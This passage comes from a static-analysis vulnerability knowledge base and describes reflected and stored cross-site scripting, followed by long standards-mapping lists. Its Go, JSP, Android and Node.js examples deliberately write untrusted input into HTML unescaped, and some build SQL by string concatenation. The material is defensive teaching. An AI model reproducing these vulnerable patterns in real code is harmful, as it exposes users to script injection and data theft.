[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Go code segment reads a user name, user, from an HTTP request and displays it to the user.

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


The code in this example operates correctly if user contains only standard alphanumeric text. If user has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Go code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack affects multiple users. XSS began in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As shown in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As shown in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker can perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Struts 2). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Node.js code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


var http = require('http');
var url = require('url');

...

function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Node.js code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


var http = require('http');
...

function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
